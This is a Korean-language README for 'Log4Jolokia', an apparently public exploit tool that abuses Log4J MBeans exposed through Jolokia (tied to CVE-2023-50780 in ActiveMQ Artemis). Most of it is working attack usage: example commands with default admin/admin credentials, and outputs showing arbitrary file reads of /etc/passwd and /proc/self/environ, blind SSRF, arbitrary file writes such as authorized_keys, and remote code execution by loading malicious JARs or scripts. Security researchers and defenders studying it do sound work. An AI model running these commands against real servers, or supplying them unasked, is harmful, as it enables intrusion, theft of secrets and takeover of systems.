Log4Jolokia

설명:

Jolokia를 통해 Log4J MBeans를 활용 및 악용하기 위한 Python3 구현입니다.

사용법:

일반 도움말:

usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]

positional arguments:
  {exec_jar,write_file,read_file,exec_script}
                        choose mode: exec_jar | write_file | read_file | exec_script
  target                URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)

options:
  -h, --help            show this help message and exit
  -u [USER], --user [USER]
                        Jolokia username
  -p [PASSWD], --passwd [PASSWD]
                        Jolokia password
  --proxy [PROXY]       Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
  -H [HEADER], --header [HEADER]
                        Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
                        	-H "Referrer: http://localhost")

참고: 선택한 모드에 따라 일부 섹션의 도움말이 달라집니다.

이 프로그램은 다음과 같은 4가지 악용 모드를 제공합니다:

파일 읽기 + SSRF
파일 쓰기
JAR 파일 업로드 및 실행을 통한 RCE
Scripts를 통한 RCE

파일 읽기:

공격자는 Jolokia API를 통해 Log4J의 "ConfigLocationUri" 속성을 수정하고 "ConfigText"의 새 콘텐츠를 읽음으로써("getConfigText(String)" 함수를 사용하거나 "ConfigText" 속성에 대해 Jolokia "read" 작업을 수행하여) 임의의 파일을 읽을 수 있습니다.

참고: 이 경우 "latin-1" 인코딩으로 파일 출력의 바이트 단위 정확한 표현을 검색할 수 있으므로 "getConfigText(String)" 읽기 벡터를 사용합니다.

참고 2: 이 벡터는 일반적으로 접근할 수 없거나 내부에 있는 서버에 액세스하는 데에도 사용할 수 있습니다:

FTP 서버에서 원격 파일 읽기
SMB 서버에서 원격 파일 읽기 (Windows 대상)
블라인드 GET 기반 SSRF 수행 (출력 없음)

도움말 - 파일 읽기 관련 매개변수:

$ python3 log4jolokia.py read_file http://a -h

  ***TRUNCATED***

  -r [READ], --read [READ]
                        Absolute or relative path of a file to read on target (Use only with mode: read_file)

예시 명령어:

	- Absolute Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
	- Relative Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
	- Specific Protocol:
		-- FTP:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
		-- SMB (Windows only):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
		-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'

예시 - "/etc/passwd" 읽기:

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd" 
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***

예시 - "/proc/self/environ" 읽기 (콘텐츠에 인쇄할 수 없는 문자(예: 널 바이트)가 포함되어 있어 출력이 base64로 인코딩됩니다):

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ" 
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":

TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUZJLlVURi04AFNIT***TRUNCATED***

파일 쓰기:

악의적인 Log4J 구성을 생성하고 로드함으로써, "RollingFile -> fileName"(쓸 위치) 및 "Pattern"(쓸 내용) 매개변수의 값을 활용하여 임의의 위치에 임의의 콘텐츠를 쓸 수 있습니다. 이 경우 XML 형식으로 악의적인 Log4J 구성을 생성하고 "setConfigText(String, String)" 함수를 활용합니다.

참고: XML 형식에는 특정 제한된 제어 문자가 있으므로 복잡한 바이너리 파일을 쓰기 위해 다른 지원 구성 형식(예: Properties)을 활용한 2단계 쓰기 프로세스가 사용되었습니다.

도움말 - 파일 쓰기 관련 매개변수:

$ python3 log4jolokia.py write_file http://a -h

  ***TRUNCATED***

  -lf [LOCAL_FILE], --local_file [LOCAL_FILE]
                        Path to local file to be written on the target (Use only with mode: write_file)
  -w [WRITE], --write [WRITE]
                        Path of file to be written on the target (Use only with mode: write_file)
  -P [PERM], --perm [PERM]
                        Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'

예시 - "/tmp/test"에 "test" 쓰기:

$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target

예시 - 잘못된 XML 문자를 포함하는 파일을 "/tmp/test2"에 쓰기:

$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target

JAR 실행:

"write_file" 모듈에 제시된 기능을 사용하여 대상 시스템에 임의의 JAR을 작성한 다음, 임의의 Java 코드를 실행하기 위해 "jvmtiAgentLoad([Ljava.lang.String;)" 함수를 사용합니다.

도움말 - JAR 실행 관련 매개변수:

$ python3 log4jolokia.py exec_jar http://a -h

  ***TRUNCATED***

  -j [JAR], --jar [JAR]
                        Path to local jar to be executes on the target (Use only with mode: exec_jar)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'

Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit

예시 - JAR 파일 쓰기 및 실행:

$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528

[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
	- The JAR contains a valid JVM TI agent
	- Once a JAR is successfully loaded:
		-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
		-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")

If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()

참고: "WARNING"에 명시된 바와 같이, JVM TI 에이전트 JAR(반환 코드: 0)을 성공적으로 로드한 후에는 새 JAR 또는 수정된(유효한) JAR로 후속 요청을 다시 수행해도 처음/최초에 로드된 JAR만 다시 실행됩니다.

스크립트 실행:

Log4J의 내장 스크립트 지원 기능을 사용하여 임의의 스크립트 요소가 포함된 악의적인 구성을 주입할 수 있습니다.

참고: 이 악용이 작동하려면 Log4J가 해당 스크립트 유형을 허용하도록 구성되어야 합니다(기본적으로 어떤 스크립트도 허용되지 않습니다).

도움말 - 스크립트 실행 관련 매개변수:

$ python3 log4jolokia.py exec_script http://a -h

  ***TRUNCATED***

  -sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
                        Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
  -l [LANGUAGE], --language [LANGUAGE]
                        Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)

Example command:
	python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'

예시 - 스크립트 실행:

$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed

[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file. 
Keep in mind that this script will be triggered multiple times.

If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed

참고: 이 모드는 해당 스크립트를 로드하지만, 스크립트가 로드된 후 성공적으로 실행되었는지 아니면 조용히 실패했는지 알 수 있는 방법이 없습니다.

추가 리소스:

"read_file" 모드의 수동 악용 예시:

"write_file" 모드의 수동 악용 예시 (RCE 유발):

"exec_jar" 모드의 수동 악용 예시:

CVE-2023-50780 - Apache ActiveMQ Artemis에서 JAR + jvmtiAgentLoad - PDF

"exec_script" 모드의 수동 악용 예시:

MAL-011: Log4J 잘못된 구성으로 Red Hat AMQ에서 악성 JavaScript 허용

Log4Jolokia

인기

Log4Jolokia

설명:

사용법:

파일 읽기:

파일 쓰기:

JAR 실행:

스크립트 실행:

추가 리소스: